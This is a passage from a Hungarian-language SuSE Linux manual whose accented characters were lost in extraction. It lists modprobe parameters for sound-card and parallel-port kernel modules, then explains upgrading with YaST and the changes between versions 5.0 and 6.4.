Plda: modprobe cs4232 io=0x530 irq=5 dma=1 dma2=3 Ensoniq 1370 chipset Modul neve: es1370.o lsd mg a PCI64/128 tpusokat. Paramter joystick lineout micz rtk 1: joystick aktivlsa 1: vonal-bemenet felcserlse a vonal-kimenettel mikrofon impedancia

Plda: modprobe es1370 joystick=1 lineout=1 Creative Ensoniq 1371 chipset Modul neve: es1371.o lsd mg a PCI64/128 tpusokat. Paramter joystick rtk <cm>

A <cm> lehetsges rtkei 0x200, 0x208, 0x210 s 0x218. Plda: modprobe es1371 joystick=0x200 Gravis Ultrasound Modul neve: gus.o 408

14.3. A paramterek

Paramter io irq dma dma16 type gus16 no_wave_dma db16

rtk <cm> <irq> <dma> <dma16>

MAD16 Modul neve: mad16.o OPTi 82C928, OAK OTI-601D, OPTi 82C929, OPTi 82C930 s OPTi 82C924 tmogats. Paramter io irq dma dma16 rtk <cm> <irq> <dma> <dma2>

Plda: modprobe mad16 io=0x530 irq=7 dma=0 dma16=1 Turtle Beach Maui s Tropez Modul neve: maui.o Paramter io irq rtk <cm> <irq>

Plda: modprobe maui io=0x530 irq=5 MPU401 Modul neve: mpu401.o Paramter io rtk <cm>

Plda: modprobe mpu401 io=0x330 Turtle Beach MultiSound Modul neve: msnd.o Plda: modprobe msnd Turtle Beach Classic/Monterey/Tahiti Modul neve: msnd_classic.o 409

14. Kernelparamterek

Paramter io irq mem write_ndelay major fifosize calibrate_signal

rtk <cm> <irq>

Plda: modprobe io=0x290 irq=7 mem=0xd0000 Turtle Beach Pinnacle/Fiji Modul neve: msnd_pinnacle.o Azonos a Turtle Beach Classic/Monterey/Tahiti paramtereivel, ez a krtya szintn megrti: Paramter digital cfg reset mpu_io mpu_irq ide_io0 ide_io1 ide_irq joystick_io
Plda:

rtk

modprobe msnd_pinnacle cfg=0x250 io=0x290 irq=5

mem=0xd0000 OPL3 Modul neve: opl3.o Paramter io rtk <cm>

Plda: modprobe io=0x388 OPL3-SA1 Modul neve: opl3sa.o Paramter io irq dma dma2 mpu_io mpu_irq 410 rtk <cm> <irq> <dma> <dma2> <cm> <irq>

14.3. A paramterek Plda: modprobe opl3sa io=0x530 irq=11 dma=0 dma2=1 mpu_io=0x330 mpu_irq=5 YMF711, YMF715, YMF719, OPL3-SA2, OPL3-SA3, OPL3-SAx Modul neve: opl3sa2.o Paramter io irq dma dma2 mss_io mpu_io rtk <cm> <irq> <dma> <dma2> <cm> <cm>

Plda: modprobe opl3sa2 io=0x370 irq=7 dma=0 dma2=3 mss_io=0x530 mpu_io=0x330 Pro Audio Spectrum Modul neve: pas2.o Paramter io irq dma dma16 sb_io sb_irq sb_dma sb_dma16 joystick symphony broken_bus_clock rtk <cm> <irq> <dma> <dma16> <cm> <irq> <dma> <dma16>

Personal Sound System (ECHO ESC614) Modul neve: pss.o Paramter pss_io mss_io mss_irq mss_dma mpu_io mpu_irq pss_mixer rtk <cm> <cm> <irq> <dma> <cm> <irq> aktivls 1 vagy 0

411

14. Kernelparamterek Sound Blaster s klnjai Modul neve: sb.o Paramter io irq dma dma16 mpu_io mad16 trix pas2 sm_games acer mwave_bug
Plda:

rtk <cm> <irq> <dma> <dma16> <cm> aktivls 1 aktivls 1 aktivls 1 aktivls 1 aktivls 1, Acer Notebookokhoz aktivls 1

modprobe sb io=0x220 irq=5 dma=1 dma16=5 mpu_io=0x330

Aztech Sound Galaxy Modul neve: sgalaxy.o Paramter io irq dma dma2 sgbase rtk <cm> <irq> <dma> <dma2>

S3 Sonic Vibes Modul neve: sonicvibes.o Nincsenek paramterek. Ensoniq SoundScape Modul neve: sscape.o Paramter io irq dma mss mpu_io mpu_irq spea rtk <cm> <irq> <dma> <cm> <irq> 1

MediaTrix AudioTrix Pro Modul neve: trix.o 412

14.3. A paramterek

Paramter io irq dma dma2 sb_io sb_irq sb_dma mpu_io mpu_irq

rtk <cm> <irq> <dma> <dma2> <cm> <irq> <dma> <cm> <irq>

UART401 Modul neve: uart401.o Paramter io irq rtk <cm> <irq>

Plda: modprobe io=0x330 irq=9 UART6850 Modul neve: uart6850.o Paramter io irq rtk <cm> <irq>

Sound Blaster DSP chipsets Modul neve: v_midi.o Nincsenek paramterek. Turtle Beach Maui, Tropez, Tropez Plus Modul neve: wavefront.o Paramter io irq rtk <cm> <irq>

Plda: modprobe wavefront io=0x200 irq=9 Prhuzamos port A prhuzamos port m kdse elgg sszetett. Bellts utn egy teljes Prhuzamos u alrendszer ll rendelkezsnkre; lsd a 10.4.3 . fejezetben (323. oldal). port Prhuzamos port Modul neve: parport.o Plda: modprobe parport 413

14. Kernelparamterek Prhuzamos port klnleges architektrval Modul neve: parport_pc.o Paramter io irq rtk <cm> <irq>

Azrt lltottak be 3 portot a PC stlusban, hogy pldul egy kaphassa a 0x3bc cmet IRQ nlkl, egy a 0x378 cmet az IRQ 7-tel s egy a 0x278 cmet automatikusan megllaptott IRQ-val, ehhez ezt kell bernunk (mindet egy sorba!): Plda: modprobe parport_pc io=0x3bc,0x378,0x278 irq=none,7,auto Printer meghajt Modul neve: lp.o Paramter parport rtk <port>

Plda: modprobe lp parport=0,2 Prhuzamos portos IDE meghajtk (Paride) Modul neve: paride.o Ha lncoltan kvnjuk hasznlni a Paride meghajtkat egy egyszer pru huzamos porton, akkor el szr a parport.o-t kell betltennk! o Plda: modprobe paride A prhuzamos port ha lehetsges kpes m kdni "EPP mdban"; u lltsuk be ezt a mdot a szmtgp BIOS-ban. Prhuzamos portos IDE alacsony szint protokoll meghajt u Modul neve: xxxx.o protokoll aten bpck comm dstr epat epia fit2 fit3 friq frpw kbic ktti on20 on26 414 eszkz ATEN EH-100 Microsolutions backpack DataStor (rgi tpus) "ingz" adapter DataStor EP-2000 Shuttle EPAT Shuttle EPIA FIT TD-2000 FIT TD-3000 Freecom IQ cable Freecom Power KingByte KBIC-951A and KBIC-971A KT Technology PHd adapter OnSpec 90c20 OnSpec 90c26 (HK) (US) (TW) (TW) (UK) (UK) (US) (US) (DE) (DE) (TW) (SG) (US) (US)

14.3. A paramterek Plda: modprobe epat Prhuzamos portos IDE merevlemez Modul neve: pd.o Paramter verbose rtk <rtk>

El szr a parport s az alacsony szint meghajtt tltsk be o u Plda: modprobe pd verbose=1 Prhuzamos portos ATAPI CD-ROM Modul neve: pcd.o El szr a parport s az alacsony szint meghajtt tltsk be o u Plda: modprobe pcd Prhuzamos portos ATAPI oppylemez meghajt Modul neve: pf.o El szr a parport s az alacsony szint meghajtt tltsk be o u Plda: modprobe pf Prhuzamos portos ATAPI streamer meghajt Modul neve: pt.o El szr a parport s az alacsony szint meghajtt tltsk be o u Plda: modprobe pt Prhuzamos portos ltalnos ATAPI eszkz Modul neve: pg.o El szr a parport s az alacsony szint meghajtt tltsk be o u Plda: modprobe pg

415

14. Kernelparamterek

416

VII. rsz

SuSE Linux: frissts s specialitsok

417

15. fejezet

Rendszerfrissts s csomagkezels
Fordtotta: Vradi Istvn

15.1

A SuSE Linux frisstse

A SuSE Linux felknlja a lehet sget, hogy meglv rendszernket frissto o sk, anlkl, hogy jra kellene telepteni mindent. Fontos klnbsget tenni, hogy csak egy (vagy egy pr) csomagot frisstnk, vagy az egsz rendszert a legjabb disztribci szerint. Szoftvereknl normlis dolog a folyamatos "fejl ds". Javasoljuk, hogy o nzzk meg el bb, mennyire van tele a partcink (a df-fel), miel tt friso o stennk! Ha gy gondoljuk, hogy tl kevs a rendelkezsre ll hely, vegyk fontolra egy biztonsgi msolat ksztst, s az jrapartcinlst. Nincs rkrvny szably arra, hogy mennyi hely szksges az egyes u esetekben. Ez fgg a jelenlegi partciktl, a kivlasztott szofverekt l, s o hogy melyik verzirl akarunk frissteni a SuSE Linux 7.1verzira. 15.1.1 El kszletek o

Miel tt megkezdjk a frisstst, gy z djnk meg rla, hogy meg riztk rgi o o o o kongurcis fjljainkat egy kln mdiumon, pl. egy szalagon, hordozhat meghajtn, hajlkony lemezen vagy ZIP meghajtn, arra az esetre, ha valami nem sikerlne. Rendszerint ezek a /etc s a /var/lib (pl. a News vagy xdm). Nem rt, ha lementjk a jelenlegi felhasznlk adatait is a /home knyvtrbl. Miel tt megkezdjk a frisstst, ne felejtsk el felrni a root partcink eszo kznek nevt. Ha a /dev/sda3 a root partcink, ezt az albbi paranccsal lthatjuk:
meggyfa: # df /
Filesystem /dev/sda3 /dev/sda1 1024-blocks Used Available Capacity Mounted on 4167999 3253471 698856 82% / 7496 1311 5785 18% /boot

A fenti lista mutatja, hogy a /dev/sda3 eszkz be van csatolva a fjlrendszerbe , a / al. 419

15. Rendszerfrissts s csomagkezels Azt is el kell dntennk el re, hogy a frisstshez a szveges YaST -ot, vagy o a grakus YaST2 -t akarjuk hasznlni. Ha a SuSE Linux 6.0 el tti verzirl o akarunk, ez eldnttt tny mivel ez esetben a YaST -ot kell hasznlnunk amint az a 15.1.3 fejezetbenban le van rva. A 6.0-nl ks bbi verzik esetn, o frisstsre mr hasznlhatjuk a YaST2 -t is. 15.1.2 Frissts a YaST2 -vel

o o A 15.1.1 fejezetben emltett el kszletek utn, az els indtst a 2.1 . fejezetben (17. oldal) lertak szerint vgezzk el. Csak SuSE Linux 6.x frisstst tudunk a YaST2 -vel vgehajtani. Rgebbi verzikhoz (pl. SuSE Linux 5.3) a YaST1 a megfelel . o Ha elrtnk a 2.1.7 . fejezetben (21. oldal) lertakhoz, vlasszuk a Frissts opcit. 15.1.3 Frissts a YaST1 -gyel

Az alaprendszer frisstse Mivel a rendszer kzponti elemei (knyvtrak (libraries)) is lecserlsre kerlnek, amikor frisstjk az alaprendszert, ezrt ez a feladat nem vgezhet el o norml m kds alatt, egy ppen fut Linux rendszerb l. u o Hasznos elolvasnunk a README fjlt, vagy a README.DOS-t a CD-r l; o itt tovbbi vltoztatsokrl szerezhetnk tudomst, ami a knyv nyomdba adsa utn kszlt. El kell indtanunk a frisst krnyezetet rendszerint vagy a "boot disk"-kel, o vagy a kernel boot promptnl kzzel adjuk meg, ahogyan az rszletesen a 1.5 . fejezetben (30. oldal) le van rva (Megjegyzs: a 6.3 verzitl a 2. CD-t kell hasznlnunk!) Lnyegben a kvetkez lpsek szksgesek: o 1. Amint a kernel elindult, a linuxrc is elindul automatikusan. 2. A linuxrc f menjben, a Belltsok men alatt, ki kell vlasztao nunk a nyelvet, monitort s billenty zetet, majd megnyomni az OK-ot u amikor vgeztnk. 3. Gy z djnk meg rla, hogy betltttk-e az sszes, neknk szksges o o meghajtt a Kernel modules kivlasztsval. A pontos eljrs a linuxrc-ben van megadva, amint azt a 83 . fejezetben (445. oldal) lertuk. 4. Miutn ez ksz, kivlasztva a Telepts / Rendszer indtst, a Telepts indtsa vezet el minket a forrs mdium kivlasztshoz (lsd a 83 . fejezetben (447. oldal)). 5. A linuxrc ezutn betlti a teleptsi krnyezetet s a YaST automatikusan elindul. A YaST f menjben a Meglv rendszer frissts-t kell vo o lasztanunk. A YaST megprblja megllaptani a root partcit s megjelenti 420

15.1. A SuSE Linux frisstse az eredmnyt. Itt kivlaszthatjuk a root partcit, ahogyan fentebb mr megemltettk (pl. /dev/sda3). A YaST ekkor kiolvassa a "jelenlegi" /etc/fstab-ot s becsatolja a partcikat, amiket ebben a fjlban tallt. Vlasszuk a Folytats-t. Az lenyomsval a f menbe val visszatrs utn, vlasszuk a Esc o Rendszer frisstst (lsd a 3.2 . fejezetben (84. oldal)). A YaST elemzi a rgi rendszert, s az eredmnyt egy listn kzli. Ezutn a rendszer minden kzponti kongurcis fjlja frisstsre kerl. A YaST biztonsgi mentseket hoz ltre azokrl a fjlokrl, amik az utols telepts ta megvltoztak. Miutn az alaprendszer frisstsre kerlt, a YaST specilis frisstsi zemmdjban talljuk magunkat, ahol eldnthetjk, hogy mely csomagokat frisstjk fel. A rgi kongurcis fjlok meg rzsre kerlnek, mint o pfad.rpmorig vagy .rpmsave (lsd a 15.3.1 . fejezetben (431. oldal)). Ez az eljrs feljegyzsre kerl a /var/adm/inst-log/installation-* -be, s ks bb tanulmnyozhat. o A rendszer tovbbi rszeinek frisstse Amikor az alaprendszert frisstjk, a YaST specilis frisstsi zemmdjba kerlnk. Itt frissthetjk a rendszer tovbbi rszeit is, kedvnk szerint. A YaST ekkor kt listt kszt. Az els lista mutatja azokat a csomagokat, o amiket a YaST felismert, s amelyeknl eldnttte, hogy egy frissts hasznos lenne. A msodik lista pedig azokat a csomagokat ahol ez nem ilyen vilgos, mivel a rgi csomagok mg mindig m kdnek, de nem adnak informcit a u verziszmukrl. E kt listt hasznlva eldnthetjk, hogy mely csomagokat kell frisstennk. Amikor megkezdjk a frisstst, minden kivlasztott csomag lecserlsre kerl az jabbal egyttal minden olyan fjl is elmentsre kerl, ami az utols telepts ta megvltozott. Miutn ezt befejeztk, ugyangy kell folytatnunk, mint az els teleptst. Az o egyik dolog, amit meg kell tennnk, hogy kivlasztunk egy j kernelt. Ha a loadlin-t hasznljuk indtsra, t kell msolnunk az j kernelt, s valszn leg az initrd fjlt is a DOS partci loadlin knyvtrba! u Ha nem akarjuk, hogy a rendszer jrainduljon a norml futsszinten (lsd a szabvnyos futsszintet a 17.2 . fejezetben (458. oldal)), de szeretnnk, hogy a YaST befejezze a teleptst, meg kell adnunk az albbit a LILO prompt-nl:
NO_AUTO_SETUP=true

Ez a paramter klnsen hasznos, ha a kvetkez indtsnl problmkkal o tallkozunk. Ez akkor fordulhat el , ha a rendszer fontos elemeit akarjuk o elrni, pldul a PCMCIA-SCSI-n keresztl. Az el ksztett belltssal val o folytatshoz az albbi lpseket kell tennnk: 1. Adjuk meg az albbi paramtereket a LILO prompt-nl:
NO_AUTO_SETUP=true

421

15. Rendszerfrissts s csomagkezels 2. Vltsunk t root felhasznlnak s indtsuk el a YaST -ot: yast -nomenu hogy az befejezze belltsi feladatait. 3. Indtsuk el a /lib/YaST/bootsetup.conf fjlt root-knt. Gyakorlott Linux felhasznlk taln nem akarnak indtani alaprtelmezett futsszinten, inkbb "az egyfelhasznls md (single user mode)" -ban. Ez a single paramter megadsval rhet el, a LILO prompt-nl. o 15.1.4 Egyedi csomag frissts

A SuSE Linux-szal frissthetnk egyedi csomagokat is, amikor csak akarunk. A YaST csomaglistban (lsd a 3.4.3 . fejezetben (97. oldal)) mozoghatunk tetszsnk szerint. Ha egy olyan csomagot vlasztunk, ami szksges a rendszer futshoz, a YaST gyelmeztetni fog minket erre. Ilyen csomag csak frisstsi mdban cserlhet le. Pl. sok csomag tartalmaz megosztott o knyvtrat (shared libraries), ami hasznlatban lehet, amikor futtatni akarjuk a frisstst. Nyilvnvalan problmkat okozhat megosztott knyvtrak frisstse egy fut rendszeren.

15.2

Verzirl verzira

Az albbi fejezetekben rszletes listt adunk arrl, hogy mi vltozott egyik verzitl a msikig. Ebben az ttekintsben az olyan dolgokat, mint a kongurcis fjlok szintakszis vltozsa, s a jl ismert programok normlistl eltr viselkedst soroljuk fel. De csak azokat az anomlikat tntetjk fel, o amik az adminisztrtornak vagy a felhasznlnak problmkat okozhatnak. Ez a lista valszn leg nem teljes. Olvassuk el a Tmogatsi Adatbzist u ami megtallhat az sdb csomagban, a doc kszletben (lsd. 1.4.1 . fejezetben (8. oldal)). Ismert problmk s ms, az egyes verzik normlistl eltr jellegzetessgei o kihirdetsre kerlnek az albbi webkiszolgln http://sdb.suse.de/sdb/en/html, miutn azok ismertt vlnak. 15.2.1 5.0-rl 5.1-re

Problmk s specilis cikkek az albbi cmen: http://sdb.suse.de/sdb/en/html/maddin_bugs51.html LILO 1.: A any_b.b s any_d.b betlt k mr elavultak (lsd a 11 . o fejezetben (127. oldal)). LILO 2.: Ha a SCSI host adapter betltsnl problmnk van (Adaptec 2940 s klnbz tpusok), nem kell ezekutn belltanunk a o linear opcit a /etc/lilo.conf-ban (lsd a 4.4.2 . fejezetben (127. oldal)). Az "opcionlis" szoftverek (pl. a KDE vagy az Applixware ) a /opt al kerlnek teleptsre (lsd a 2.9 . fejezetben (70. oldal)). Helytakarkossgbl, a csomaglersok mr nem rszei a SuSE knyvnek, de megtallhatk az els CD-n a /docu knyvtrban. A nmet fjo lok neve: pkg_German.dvi s pkg_German.ps, az angol fjlok: pkg_English.dvi s pkg_English.ps. 422

15.2. Verzirl verzira A "Hardver fejezet" nem ltezik tbb. Helyette most van a "CDB" (Component DataBase: cdb , doc, vagy online http://www.suse.de/cdb/deutsch/ vagy http://www.suse.de/cdb/english/). A sendmail m4 fjlok a /usr/share/sendmail alatt vannak. A forrst becsomagoltk, n. "Source RPMS" nven lsd az SDB-ben: http://sdb.suse.de/sdb/en/html/ke_source-rpm.html). 15.2.2 5.1-r l 5.2-re o

Problmk s specilis cikkek az albbi cmen: http://sdb.suse.de/sdb/en/html/maddin_bugs52.html YaST : az sszes (all packages) kszlet kivlaszthat a Csomagok kivlaszts-bl az jrarendezs) (lsd a 3.4.3 . F4 (= fejezetben (97. oldal)). Az XSuSE kiszolglk mostmr hivatalos rszei az XFree86 forrsnak. Hasznljuk a szabvny kiszolglt az x-b l. o Kivtel: XSuSE_Elsa_GLoria (xglint ), a Glint vagy Permedia alap grakus eszkzkhz. Biztonsgi okokbl az X szerverek nincsenek tbb belltva suid rootra (chmod s bit nlkl). El kell indtanunk a X Window System-et, az Xwrapper ( startx-en keresztl), vagy egy kijelz menedzseren t o (xdm vagy kdm). A wuftpd lett az alaprtelmezett FTP kiszolgl a /etc/inetd.conf-ban lsd SDB: http://sdb.suse.de/sdb/en/html/grimmer_ftpd.html A ps opciit mr nem el zi meg egy - jel. Eszerint igaztsuk ki a shell o szkriptnket lsd SDB: http://sdb.suse.de/sdb/en/html/maddin_ps52.html A SuSEcong (lsd a 17.6 . fejezetben (463. oldal)) most mr rtelmezni tud nhny olyan opcit, ami meggyorstja a munknkat. 15.2.3 5.2-r l 5.3-ra o

Problmk s specilis cikkek az albbi cmen: http://sdb.suse.de/sdb/en/html/bugs53.html A SuSE Linux kezdeti teleptse, vagy a frissts most mr sokkal egyenletesebb ("lineris"). Ha a "rgi" mdszert akarjuk kvetni, vlasszuk a YaST -ban a Szakrt md-ot (lsd a 2.8 . fejezetben (35. oldal)). o Az indt lemez mellett van egy opcionlis modules lemez, ami tovbbi modulokat tartalmaz. Ezt csak "klnleges" hardverek esetn kell alkalmazni (lsd a 16.4 . fejezetben (443. oldal).) Az X szervert mostantl az xsrv kszletben talljuk, nem pedig az x-ben. A SuSE X szervereket fejlesztett ki a "teljesen j grakus eszkzkhz" (XFCom_3DLabs (x3dlabs ; korbbi XSuSE_Elsa_GLoria, xglint ), XFCom_SiS (xsis ; korbbi XSuSE_SiS) s XFCom_Cyrix (xcyrix ). 423

15. Rendszerfrissts s csomagkezels Azokat a felhasznlkat, akik terminl programokhoz akarnak hozzfrni, mint a minicom vagy a seyon az uucp csoporthoz kell hozzadni. lsd az albbi cmen:
http://sdb.suse.de/sdb/en/html/ke_terminal-prog.html

Az Emacs mint a 20.x verzi jn. A /etc/skel -ben alkalmazott indt fjlokat kell hasznlni lsd SDB:
http://sdb.suse.de/sdb/en/html/ke_emacs-update.html

Az SGML parser eszkzk a jade_dsl -bl mr a sajt csomagjukban vannak, a sp csomagban. A PostgreSQL (postgres ) szmtalan al-csomagot tartalmaz: adatbzis engine, adatbzis inicializls s interfsz. A kziknyvlapokat elkltztettk az allman csomagbl klnbz o alcsomagokba lsd SDB: http://sdb.suse.de/sdb/en/html/ke_lpdmanxx.html 15.2.4 5.3-rl 6.0-ra

Problmk s specilis cikkek az albbi cmen: http://sdb.suse.de/sdb/en/html/bugs60.html A kernelforrs nyjtotta lehet sg szerint, a boot kernel most a /boot-ba o kerl teleptsre. Ha frisstettnk, gy z djnk meg rla, hogy az tvonal o o a /etc/lilo.conf-ban megfelel en van megadva, amikor a YaST o gyelmeztet minket erre a vltozsra. Ha tovbbra is a rgi kernelt akarjuk hasznlni a /vmlinux-ban, meg kell szaktanunk az eljrst, s a LILO -t eszerint kell belltanunk. A rendszerknyvtrak megvltoztak glibc-re (gy is ismert, mint libc6). A programcsomagok frisstse SuSE Linux-rl, nem szabadna, hogy gondot okozzon. jra kell fordtanunk programjainkat a frissts utn, s belncolni (link) azokat a glibc-hez. Ha ez nem lehetsges (pl. nincs meg a forrs), a megolds a shlibs5 (libc5) teleptse. Ezutn a "rgebbi" programoknak futniuk kell. A SuSE Linux a legjabb teTeX verzival jn. Amint a teTeX verzi teleptsre kerlt az FHS (Filesystem Hierarchy Standard) szerint, annak tovbbi hely kell (megkzelt leg 15 MB) a /var knyvtrban. A teTeX et o felosztottk tbb alcsomagra, gy ha valami hinyzik egy frissts utn, le kell ellen riznnk a tex kszletet, hogy meggy z djnk, minden o o o valban megfelel en kerlt-e teleptsre. o A A colortbl s hyperref LTEX kiterjesztsek, most mr rszei a teTeX -nek. A DocBook stluslapok (style sheets) most mr a docbkdsl csomagban (sgm kszlet) vannak. 15.2.5 6.0-rl 6.1-re

Problmk s specilis cikkek az albbi cmen: http://sdb.suse.de/sdb/en/html/bugs61.html Az a CD, ami a "Live-Filesystem"-et tartalmazta, mr nem rsze a disztribcinak. A CD-t kln vsrolhatjuk meg. Technikai rszletek a 3.6.4 . fejezetben (110. oldal) tallhatk meg. 424

15.2. Verzirl verzira Tovbbi meghajtk, amik esetleg szksgess vlhatnak egy teleptsnl vagy frisstsnl (egyedi CD-ROM meghajt, prhuzamos port meghajt, PCMCIA) a modules disk image-ben vannak (lsd a 2.2.2 . fejezetben (31. oldal)). Az alaprtelmezett interfsz, prhuzamos porton trtn nyomtatsra a o /env/lp0 a 2.2.x kernel rszre, lsd a 12.1 . fejezetben (351. oldal). 15.2.6 6.1-r l 6.2-re o

Problmk s specilis cikkek az albbi cmen: http://sdb.suse.de/sdb/en/html/bugs62.html. Az rpm (lsd a 15.3 . fejezetben (430. oldal)) most mr 3.0 verziban rhet el. Az RPM adatbzisformtuma megvltozott; az adatbzist t kell o alaktani azonnal, amint az rpm teleptve lett. Egy normlis alaprendszeri frisstsnl, amikor a YaST -ot hasznljuk, ez az talakts automatikusan vgbemegy. A glibc rendszerknyvtrak mostmr 2.1 verziban rhet k el. Amennnyire o csak lehetsges, alkotelemeket biztostunk, hogy a glibc-2.0 programok futst tovbbra is lehet v tegyk. Ez problmkat okoz ugyan, amio kor megprblunk elrni bizonyos szimblumokat. Ezrt brmely sajt programunkat, vagy kls programokat, elviekben jra kell fordtanunk. o Az nscd (Name Service Cache Daemon) szintn a glibc-hez tartozik s a /etc/nscd.conf fjlban kell azt belltanunk; lsd a man 8 nscd kziknyvlapokat. A glibc-2.1-el az talakts a "Unix98 PTY" eszkzre mr teljes. Ez annyit jelent, hogy a devpts fjlrendszert szintn be kell csatolnunk; az albbi sor a /etc/fstab fjlban, pldul garantlja ezt;
none /dev/pts devpts gid=5,mode=620 0 0

Lsd mg a /usr/src/linux/Documentation/Changes dokumentcit a kernelforrsban. A PAM (Pluggable Authentication Modules ): A /etc/login.defs fjlon tlmen en most vannak a o /etc/securetty fjlok, a /etc/security/limits.conf s a /etc/security/pam_env.conf; lsd a 3.6.7 . fejezetben (114. oldal). A nyelvbellts meghatrozhat vltozkkal a /etc/rc.config fjlban; lsd a 88 . fejezetben (463. oldal), valamint a
http://sdb.suse.de/sdb/en/html/ml_locale_implementation.html

cmen. Ha nem akarunk nmet szveget, rjuk be az albbit, kzvetlenl a .bashrc fjlba:
export LANG=hu_HU

Tbb csomag egyes rszei, melyek a szoftver fejlesztshez kellenek (knyvtrak, headers, include fjlok, stb.), sajt csomagba kerltek. Rszlegesen ez mr el fordult a korbbi verzikban is. Ezek a fejleszo t i csomagok csak akkor szksgesek, ha mi magunk akarunk fordtani o 425

15. Rendszerfrissts s csomagkezels szoftvert pldul, legutbb a GNOME csomagokat. Ezek a fejleszt i csomagok felismerhet k a kiterjeszts nevr l, ami dev vagy d o o o (xformsd , glibndev , gtkndev , imlibdev , gnlibsd stb. csomagok). 15.2.7 6.2-r l 6.3-ra o

Problmk s specilis cikkek az albbi cmen: http://sdb.suse.de/sdb/en/html/bugs63.html Teleptskor klnfle optimalizlt kernelek llnak rendelkezsre; ezek a kernelek az "initrd"-t (Initial Ramdisk) hasznljk. Amikor sajt kernelt fordtunk, ennek tudatban kell lennnk; b vebbet err l a 16.3.5 . fejeo o zetben (442. oldal) s a http://sdb.suse.de/sdb/en/html/adrian_6.3_boot.html cmen tallhatunk. A kernelmodulok kongurcis fjlja a /etc/modules.conf lett (korbban a /etc/conf.modules volt). A "userspace"-tl elklnlve az NFS dmon (nfsserv ), a kernel alap NFS dmon (knfsd ) szintn rendelkezsnkre ll. A knfsd csak korltozottan m kdik, de kpes a fjlok zrolsra (lock); ez u szksges pldul a StarOfce-nak. Be kell lltanunk vltozkat: USE_KERNEL_NFSD vagy NFS_SERVER a /etc/rc.config fjlban. A kziknyvoldalak most a /usr/share/man alatt tallhatk, amint az meg van hatrozva az FHS "Filesystem Hierarchy Standard"-ben; lsd mg az fhs csomagot, vagy web-en a http://www.pathname.com/fhs/ oldalt. Nhny szoftvercsomag, amit eltvoltottak a disztribcibl: gnuhtml : elavult; a jelenlegi inf dokumentumok HTML formtumban lthatk a SuSE-helpsystemen keresztl (lsd mg a 16.5 . fejezetben (448. oldal)). glimpse : Egy rgebbi verzi tallhat a /unsorted knyvtrban az els CD-n. Szerz i jogok miatt nem tehetjk bele a SuSE Linux j o o verzijba. A Tcl/Tk j verzival s j csomaglerssal ll rendelkezsre. A Tcl/Tk 8.0 a szabvny verzi. Az OSS (Open Sound System) most mr a tbbprocesszoros gpekre is rendelkezsre ll; a csomagok a kvetkez k opso , opsod_up , o opso_smp s opsodsmp ; lsd a http://sdb.suse.de/sdb/en/html/oss-smp.html A sendmail belltsa elkltztt a /etc/rc.config-bl a /etc/ rc.config.d/sendmail.rc.config fjlba; lsd a
http://sdb.suse.de/sdb/en/html/mneden_6.3_sendmail.html

biztonsgi okobl, a WU-FTPD program (wuftpd csomag az n kszletben) nem kerl alaprtelmezetten teleptsre. 426

15.2. Verzirl verzira A leafnode kongurcis fjljai megvltoztak a 1.9.2 verzi ta. Ezek most a /etc/leafnode alatt tallhatk, a /usr/lib/leafnode helyett. Ha megvltoztattuk a kongurcis fjlunkat, egy biztonsgi mentsi msolatot tallunk a /usr/lib/leafnode/config.rpmsave alatt. Kzzel adjuk meg az egyni belltsainkat az j kongurcis fjlban. Figyelem: Ha egy rgebbi (1.9.3-at megel z ) verzirl frisstnk, el o o o szr futtassuk le a /usr/doc/packages/leafnode/update.sh shell szkriptet:
meggyfa: # cd /usr/doc/packages/leafnode meggyfa:/usr/doc/packages/leafnode # ./update.sh \ /var/spool/news/ /etc/leafnode /var/lock/news/fetchnews.lck

Ez a groupinfo s egy pr egyb fjl tszervezst eredmnyezi. A groupinfo mr nincs tbb "nagy s kisbet (case-sensitive)" szerint u besorolva). Ha valami rosszul slne ki, a rgi fjlunkat megtallhatjuk a /var/spool/news/leaf.node/groupinfo.old alatt. Ha a szkript sikeresen lefut, letrlhetjk ezt a .old fjlt. Megjegyzs: A /usr/sbin/fetch program, az 1.9.3 verzitl, mr /usr/sbin/fetchnews nven fut. Gy z djnk meg rla, hogy o o a "cronjobs" s hasonl szkriptjeink (pl. /etc/ppp/ip-up) ehhez igazodnak-e. A leafnode teleptshez olvassuk el a 6.9 . fejezetben (205. oldal) lertakat. A MySQL most UID-vel fut, s GID-vel a dmon, hogy mg tbb biztonsgot nyjtson s garantljon. A Fortify most a /opt/fortify alatt tallhat; ezt knnyen lehet eltvoltani (de-installed) az alkalmazs utn. 15.2.8 6.3-rl 6.4-re

Problmk s specilis cikkek az albbi cmen: http://sdb.suse.de/sdb/en/html/bugs64.html Kernel. A kernmod vagy kernmods csomagok mr nem kellenek tbb. Az eszerint optimalizlt kernelmodulok "egybe" vannak teleptve a kivlasztott kernellel (lsd a 3.6.2 . fejezetben (105. oldal)). A teleptett kernel kongurcis fjljai megtallhatk a /boot alatt, mint vmlinuz.config-pentium (Pldul!), vmlinuz.autoconf.h s vmlinuz.version.h. Ha akarjuk, a YaST bemsolja ezeket a fjlokat a kernelforrsok knyvtrba. Az rvnyes bejelentkez shellek a /etc/shells alatt kerlnek mego adsra; lsd man 5 shells. Ha egy felhasznl a /bin/true shellt kapja, akkor O csak a X Window System-en keresztl jelentkezhet be, s nem kaphat shellt. A /bin/false mint "bejelentkez shell" o megakadlyoz mindenfle bejelentkezst. aaa_base : A tisztbb lts miatt, a rendszeren naponta elvgzend o karbantartsi munka, tbb szkriptre lett sztosztva. A /etc/cron.daily-ben mostmr elklnlnek az aaa_base -t l, o a kvetkez elemek backup_rpmdb, clean_catman, clean_ o 427

15. Rendszerfrissts s csomagkezels core, clean_instlog, clean_tmp, do_mandb, rotate_logs s updatedb; a tovbbiakban az aaa_base kiolvassa a cron. daily.local-t, ahol sajt adatainkat megadhatjuk. Tovbbi informcit a Cron rendszerr l, a 16.2.2 . fejezetben (438. oldal) olvashatunk. o A tar (tar) jabb verzija van a csomagban. Kicsomagols utn, a meglv fjlok fellrsnak szoksa megvltozott. Ha a rgi mdra tmaszo kodunk, hasznljuk a --overwrite opcit. Az nkita s nkitb csomagokban szinte minden rpgramnak j verzija van. A traceroute elkltztt a nkitb csomagba. Tbb program mr "ksz az j IPv6 szabvny" kezelsre; ezrt biztostanunk kell, hogy a DNS megfelel en legyen belltva klnben az IPv6 szabvny DNS o lekrseknl, vrhatunk a timeout-ra. A postfix -ben: tovbbi belltsi lehet sgek jelentek meg; az indtsi o vltozk elkltztek a /etc/rc.config.d/postfix.rc.config al; lsd mg a 17.5 . fejezetben (461. oldal). A squid 1.x verzija (WWW proxy kiszolgl), mr nincs tbb a disztribciban. Mita a most ltrehozott verzit, a 2.x -et tekintik stabilnak, ltalnosan javasoljk, hogy vltsunk 